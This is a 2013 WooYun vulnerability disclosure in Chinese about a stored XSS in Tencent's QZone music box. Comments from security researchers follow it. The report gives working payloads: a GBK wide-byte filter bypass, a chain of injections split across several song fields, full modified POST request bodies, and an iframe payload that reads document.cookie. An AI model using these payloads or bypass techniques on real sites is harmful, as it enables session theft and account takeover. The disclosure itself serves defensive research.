当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-027762

漏洞标题:腾讯一处存储型XSS - 有过滤?我绕绕绕!

相关厂商:腾讯

漏洞作者: 多多关照

提交时间:2013-07-04 21:40

修复时间:2013-08-18 21:41

公开时间:2013-08-18 21:41

漏洞类型:xss跨站脚本攻击

危害等级:中

自评Rank:10

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-07-04: 细节已通知厂商并且等待厂商处理中
2013-07-08: 厂商已经确认,细节仅向厂商公开
2013-07-18: 细节向核心白帽子及相关领域专家公开
2013-07-28: 细节向普通白帽子公开
2013-08-07: 细节向实习白帽子公开
2013-08-18: 细节向公众公开

简要描述:

过滤了<,>? 我绕!
过滤了() ? 我绕!
想用/**/注释下,竟然连*都过滤了... 我绕绕绕!

详细说明:

有问题的地址是:http://qzone-music.qq.com/fcg-bin/fcg_music_fav_getinfo.fcg?dirinfo=1&dirid=201&uin=QQ号码&p=0.887586027616635&inCharset=GB2312&outCharset=utf-32&hostUin=&notice=0&needNewCode=0&format=jsonp&platform=musicbox&jsonpCallback=jsonCallback
这个地址会输出QQ号码在QQ空间音乐盒中【我喜欢】这个专辑中的音乐内容,包括歌手,歌曲名,歌曲地址等信息。
正常情况下,歌手名字,歌曲名,歌曲地址里的< , >都会被过滤掉,即过滤成为 &lt; &gt;
在这一步,我们对应的绕过方法是:
%bf<script/%bf>
原理是:服务器上会过滤数据中的特殊符号,但是当读取到%bf时,会认为%bf<是一个GBK字符,从而当作一个字符来看待。 即过滤程序会把上面的内容看作是:
[GBK字符]script/[GBK字符]
然后当上面内容输出到页面的时候,内容则会变为
口<script/口> (其中“口”为不被识别的字符)
从而,我们插入了一个<script>
---------------------------------------------------------------
通过以上方法,我们可以写出以下代码

%bf<script/%bf>alert(1);%bf</script/%bf>


不幸的是,在歌曲标题内插入这段内容后,发现(, ) 都被转义成为 &#xxxx; 的形式了。
alert没法执行了,而且,括号都用不了,代码就执行不了了。
---------------------------------------------------------------
然而,我们是可以控制多个输出点的。 如下,songname, singername, url

songname:"控制点1",singerid:0,singername:"控制点2",url:"控制点3"


也就是说,我们可以采用注释的办法来进入后面的点,如下:

songname:"aaaaaaa",singerid:0,singername:"口<script/口>/*",url:"*/;alert(1)//"


但是这个点中,*都被过滤成 &#xxxx 了。继续测试发现,不仅是括号,星号,连=, + ,%,基本只要是符号,都过滤的差不多了。还好,[,], / 没被过滤。 加上我们意外的惊喜发现,url和songname,singername的过滤规则不同,并没有过滤如此多的符号。所以:

songname:"aaaaaaa",singerid:0,singername:"口<script/口>[",url:"];alert(1)/*"


---------------------------------------------------------------
上面这首歌,完成了 <script>[",url:"];alert(1)/* ....
再编辑下一首歌,修改songname,加入</script>以闭合脚本标签。

songname:"口*///口</script/口>",singerid:0,......


最后就成功构造了。具体利用过程写在了漏洞证明里。

漏洞证明:

进QQ空间音乐盒中的【我喜欢】目录中,
1. 先修改第一首歌,抓包,修改包
URL:http://qzone-music.qq.com/cgi-bin/v5/cgi_music_modsong_new?g_tk=1232408522
发第一个包, 修改了包里的url和singer参数

formsender=1&out=2&from=1&source=103&uin=8639560&songid=4283798478&type=1&urlchanged=1&moodchanged=0&url=];alert(1);/*http%3A%2F%2Fwww.baidu.com%2F1.wma&songtitle=aaa&singer=%bf<script/%bf>[&dirid=201&desc=&inCharset=GB2312&hostUin=8639560&notice=0&needNewCode=0&g_tk=1232408522&format=fs&platform=musicbox&outCharset=gb2312


1.jpg


2. 再修改第二首歌,抓包,修改包, 地址同1,修改了songtitle参数

formsender=1&out=2&from=1&source=103&uin=8639560&songid=2329826814&type=1&urlchanged=0&moodchanged=0&url=http%3A%2F%2Fwww.baidu.com%2F1.mp3&songtitle=%bf*///%bf</script/%bf>&singer=%CE%D2%C3%C7%B5%C4%B0%AE&dirid=201&desc=&inCharset=GB2312&hostUin=8639560&notice=0&needNewCode=0&g_tk=1232408522&format=fs&platform=musicbox&outCharset=gb2312


2.jpg


3. 最后效果如下:

3.jpg


4. 然后利用iframe来利用即可。

<iframe name="alert(document.cookie)" src="http://qzone-music.qq.com/fcg-bin/fcg_music_fav_getinfo.fcg?dirinfo=1&dirid=201&uin=QQ号码&format=jsonp&platform=musicbox&jsonpCallback=jsonCallback">


4.jpg

修复方案:

换个函数或者方法过滤符号。

版权声明:转载请注明来源 多多关照@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2013-07-08 10:06

厂商回复:

感谢反馈,我们正在处理中。

最新状态:

暂无


漏洞评价:

评论

  1. 2013-07-04 21:47 | Sogili ( 普通白帽子 | Rank:129 漏洞数:27 )

    这个应该很简单的啊。location=name

  2. 2013-07-04 22:06 | 多多关照 ( 普通白帽子 | Rank:271 漏洞数:23 | 大牛们,多多关照!)

    @Sogili 其实,那个点, = 号也被过滤了,点也被过滤了。

  3. 2013-07-04 22:10 | xsser 认证白帽子 ( 普通白帽子 | Rank:254 漏洞数:18 | 当我又回首一切,这个世界会好吗?)

    @多多关照 这么神奇?

  4. 2013-07-04 22:13 | 多多关照 ( 普通白帽子 | Rank:271 漏洞数:23 | 大牛们,多多关照!)

    @xsser 是啊,赶紧点感谢!

  5. 2013-07-04 22:18 | 小智 ( 实习白帽子 | Rank:33 漏洞数:5 | 低调低调,学习学习~)

    看到很牛x的感觉,mark一个~

  6. 2013-07-04 22:46 | 紫梦芊 ( 普通白帽子 | Rank:138 漏洞数:9 | 踏踏实实做测试)

    学习一下

  7. 2013-07-04 22:59 | 齐迹 ( 核心白帽子 | Rank:784 漏洞数:100 | 一名普通的phper开发者,关注web安全。)

    都过滤了 还能绕 在<script>里面的?

  8. 2013-07-04 23:52 | 基佬库克 ( 实习白帽子 | Rank:75 漏洞数:15 | 简介什么的是直接爆菊吧..)

    貌似很神奇。。

  9. 2013-07-05 05:53 | 银冥币 ( 实习白帽子 | Rank:35 漏洞数:21 | "/upload/avatar/avatar_251_b.jpg" />)

    求学习,mark

  10. 2013-07-05 08:39 | 鬼魅羊羔 ( 普通白帽子 | Rank:299 漏洞数:42 | (#‵′)凸(#‵′)凸(#‵′)凸(#‵′)凸(#‵...)

    关注下。

  11. 2013-07-05 09:35 | dyun ( 普通白帽子 | Rank:102 漏洞数:15 | [code][/code])

    mark

  12. 2013-07-05 09:46 | J′aron ( 路人 | Rank:17 漏洞数:5 | 问题真实存在但是影响不大.)

    mark

  13. 2013-07-05 09:54 | 疯子 ( 普通白帽子 | Rank:242 漏洞数:42 | 世人笑我太疯癫,我笑世人看不穿~)

    mark

  14. 2013-07-05 20:27 | jdnehc ( 实习白帽子 | Rank:76 漏洞数:12 )

    fuck

  15. 2013-07-06 12:34 | 一天到晚吃 ( 实习白帽子 | Rank:58 漏洞数:23 | 好好看,好好学 test12xx)

    我也要有腾讯的第一次。

  16. 2013-07-08 11:19 | 多多关照 ( 普通白帽子 | Rank:271 漏洞数:23 | 大牛们,多多关照!)

    呀!得了15rank!

  17. 2013-07-08 13:49 | D_r0ck ( 实习白帽子 | Rank:36 漏洞数:3 | 可能是最帅的歌~)

    mark

  18. 2013-07-21 13:56 | _Evil ( 普通白帽子 | Rank:418 漏洞数:59 | 万事无他,唯手熟尔。农民也会编程,别指望天...)

    @多多关照 大牛, 多多关照

  19. 2013-07-28 11:29 | 小胖子 认证白帽子 ( 核心白帽子 | Rank:1727 漏洞数:140 | 如果大海能够带走我的矮丑...)

    @xsser 这个是可以精华的节奏啊。

  20. 2013-07-28 11:31 | 齐迹 ( 核心白帽子 | Rank:784 漏洞数:100 | 一名普通的phper开发者,关注web安全。)

    不明觉厉。

  21. 2013-07-28 12:46 | Croxy ( 普通白帽子 | Rank:513 漏洞数:54 | 只会送人头)

    赞同啊 这是加精的节奏了

  22. 2013-07-28 18:51 | 鬼魅羊羔 ( 普通白帽子 | Rank:299 漏洞数:42 | (#‵′)凸(#‵′)凸(#‵′)凸(#‵′)凸(#‵...)

    这个真心霸气了。。

  23. 2013-07-31 14:51 | 厦门佬 ( 路人 | Rank:22 漏洞数:8 )

    mark

  24. 2013-08-11 14:39 | px1624 ( 普通白帽子 | Rank:1036 漏洞数:175 | px1624)

    @多多关照 我现在才发现最牛逼的过滤是直接把括号给过滤了诶。。。蛋疼,有办法过么。。src=这种肯定也用不了。

  25. 2013-08-18 22:41 | 78基佬 ( 实习白帽子 | Rank:84 漏洞数:20 | 不会日站的设计师不是好产品经理)

    好流弊

  26. 2013-08-18 23:36 | 萧然 ( 路人 | Rank:0 漏洞数:2 | 喜欢一切美丽的东西!)

    学习了

  27. 2013-08-19 02:35 | redcar ( 路人 | Rank:0 漏洞数:1 | 找到组织了!)

    @多多关照 楼主,请教一个问题好吗?这种绕过办法我在道哥的书里看见过,关键就在于GBK编码。如果不使用这种编码,用utf-8会有这个绕过的XSS问题吗?

  28. 2013-08-22 16:52 | feng ( 普通白帽子 | Rank:664 漏洞数:79 | 想刷个6D)

    这个决定是加精的节奏

  29. 2013-11-14 17:30 | G8dSnow ( 路人 | Rank:21 漏洞数:5 | 一直在学习技术、分享知识的路上)

    mark,这都能找到。。。

  30. 2013-11-14 23:21 | 李旭敏 ( 普通白帽子 | Rank:469 漏洞数:71 | ฏ๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎...)

    乌云女神推荐···很棒的思路啊,就是没基础,看懂挺费劲